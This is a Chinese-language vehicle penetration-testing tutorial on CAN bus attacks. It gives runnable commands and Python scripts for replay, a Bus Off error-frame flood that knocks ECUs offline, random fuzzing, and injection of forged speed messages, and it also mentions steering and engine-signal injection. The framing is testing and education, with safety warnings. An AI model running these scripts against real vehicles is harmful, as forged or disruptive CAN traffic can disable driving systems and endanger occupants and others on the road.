4、CAN总线攻击技术:从嗅探到注入的完整实战

大家好,我是老周。今天咱们聊聊CAN总线攻击。说实话,这是车载渗透测试里最核心、也最刺激的部分。你想想看,一辆车的灵魂就靠这两根线在跑——CAN High和CAN Low。掌握了CAN攻击,你就掌握了和ECU对话的钥匙。

我个人习惯把CAN攻击分成四个层次:先听、再干扰、然后乱试、最后精准打击。下面我一个一个讲。

4.1 CAN总线嗅探与重放攻击

嗅探,说白了就是偷听。CAN总线上的消息是广播的,所有节点都能收到。你只要接上两根线,就能看到所有ECU在聊什么。

硬件准备: 我推荐用PCAN-USB或者SocketCAN。便宜点的用Arduino加CAN Shield也行,但稳定性差一些。我在项目里吃过亏,用便宜板子抓数据,结果丢包严重,分析半天发现数据不全。

抓包工具我常用两种:

  • candump(Linux下SocketCAN自带)
  • Wireshark(配合CAN接口)

先看个简单的嗅探命令:

# 启动CAN接口
sudo ip link set can0 up type can bitrate 500000
# 开始抓包
candump can0

抓到的数据长这样:

can0 123 [8] 01 02 03 04 05 06 07 08
can0 456 [4] A1 B2 C3 D4

格式解读:CAN ID + 数据长度 + 数据内容。嗯,这里要注意,CAN ID决定了消息的优先级,ID越小优先级越高。

重放攻击就更直接了——把抓到的包原样发回去。比如你抓到车窗升降的指令,重放一遍,车窗就动了。

# 重放一条消息
cansend can0 123#0102030405060708
⚠️ 避坑指南: 我曾经在测试时重放了一条刹车相关的消息,结果车在台架上突然急刹。幸好绑了安全带。记住:重放前一定要确认这条消息不会造成物理伤害。

4.2 CAN总线拒绝服务攻击(Bus Off攻击)

Bus Off攻击,说白了就是让ECU闭嘴。CAN协议有个错误处理机制:如果一个节点发送错误太多,它会自动进入Bus Off状态,不再参与通信。

攻击原理很简单:你持续发送错误帧,让目标ECU的错误计数器飙升。当发送错误计数超过255,它就自动离线了。

我常用的攻击方式有两种:

攻击类型 原理 效果
错误帧风暴 持续发送主动错误标志(6个显性位) 目标ECU快速Bus Off
位填充攻击 破坏位填充规则,强制产生错误 更隐蔽,但实现复杂

一个简单的Bus Off攻击脚本(Python + python-can):

import can
import time

bus = can.interface.Bus(channel='can0', bustype='socketcan')

# 持续发送错误帧
while True:
    # 构造一个错误帧(主动错误标志)
    msg = can.Message(
        arbitration_id=0x000,
        data=[0x00]*8,
        is_error_frame=True
    )
    bus.send(msg)
    time.sleep(0.001)  # 1ms间隔
实战经验: 我在某次测试中发现,Bus Off攻击对网关ECU特别有效。网关一旦离线,整个网络就瘫痪了。但要注意,有些高端车有看门狗机制,ECU离线后会自动重启。你需要持续攻击才能维持效果。

4.3 CAN总线模糊测试(Fuzzing)

模糊测试,就是乱发数据,看ECU会不会崩溃。你想想看,ECU的固件也是人写的,总有考虑不到的情况。Fuzzing就是专门找这些漏洞的。

我常用的Fuzzing策略:

  • 随机数据Fuzzing: 随机生成CAN ID和数据内容
  • 边界值Fuzzing: 针对特定ID,测试数据长度的边界(0字节、8字节)
  • 协议字段Fuzzing: 修改DLC、RTR位等协议字段

一个简单的Fuzzing脚本:

import can
import random

bus = can.interface.Bus(channel='can0', bustype='socketcan')

# 随机Fuzzing
while True:
    # 随机生成CAN ID(0x000-0x7FF)
    arb_id = random.randint(0x000, 0x7FF)
    # 随机生成数据(0-8字节)
    data_len = random.randint(0, 8)
    data = [random.randint(0x00, 0xFF) for _ in range(data_len)]
    
    msg = can.Message(
        arbitration_id=arb_id,
        data=data,
        is_extended_id=False
    )
    
    try:
        bus.send(msg)
    except can.CanError:
        print(f"发送失败: ID=0x{arb_id:03X}")
    
    # 随机间隔(1-100ms)
    time.sleep(random.uniform(0.001, 0.1))
我的习惯: Fuzzing时一定要接上OBD诊断仪,实时监控ECU的状态。我曾经Fuzzing到一半,仪表盘突然全黑了,吓得我赶紧断电。后来发现是某个ECU的固件有缓冲区溢出漏洞。

4.4 CAN总线注入攻击实战

注入攻击,就是有目的地发送伪造消息。和重放不同,注入攻击需要你理解消息的含义,然后构造自己的数据。

常见的注入场景:

  • 车速注入: 伪造车速信号,欺骗仪表盘或ADAS系统
  • 转向角注入: 伪造方向盘角度,干扰车道保持系统
  • 发动机控制注入: 伪造油门或点火信号

举个例子,伪造车速信号:

import can

bus = can.interface.Bus(channel='can0', bustype='socketcan')

# 假设车速消息ID为0x1A0,数据格式:前2字节为车速(km/h * 100)
def inject_speed(speed_kmh):
    speed_raw = int(speed_kmh * 100)
    data = [
        (speed_raw >> 8) & 0xFF,  # 高字节
        speed_raw & 0xFF,          # 低字节
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00
    ]
    
    msg = can.Message(
        arbitration_id=0x1A0,
        data=data,
        is_extended_id=False
    )
    bus.send(msg)
    print(f"注入车速: {speed_kmh} km/h")

# 注入120km/h
inject_speed(120)
⚠️ 重要提醒: 注入攻击是双刃剑。我在一次测试中注入了错误的转向角信号,结果车辆EPS(电动助力转向)直接进入保护模式,方向盘变得很重。测试前一定要做好安全预案。

知识体系总览

下面这张图总结了CAN总线攻击的四个层次和它们之间的关系:

CAN总线攻击技术体系 嗅探与重放 监听CAN消息 原样重放攻击 无需理解协议 Bus Off攻击 错误帧风暴 ECU离线攻击 破坏通信 模糊测试 随机数据生成 边界值测试 漏洞挖掘 注入攻击 伪造消息 精准控制 理解协议 ★☆☆☆ ★★☆☆ ★★★☆ ★★★★ 核心逻辑: 1. 先通过嗅探了解CAN总线上的通信模式 2. 用Bus Off攻击测试ECU的容错能力 3. 用Fuzzing挖掘未知漏洞 4. 最后用注入攻击实现精准控制

这四个技术是层层递进的。我个人建议初学者先从嗅探入手,把CAN总线的通信模式摸透了,再考虑后面的攻击。别一上来就搞注入,容易翻车。

总结一下: CAN总线攻击的核心在于理解协议、掌握工具、谨慎操作。我在这个领域摸爬滚打了七八年,最大的体会就是——永远不要低估一辆车的安全设计,也永远不要高估自己的测试环境。每次测试前,做好断电预案,备好灭火器,这不是开玩笑。

公众号:蓝海资料掘金营,微信deep3321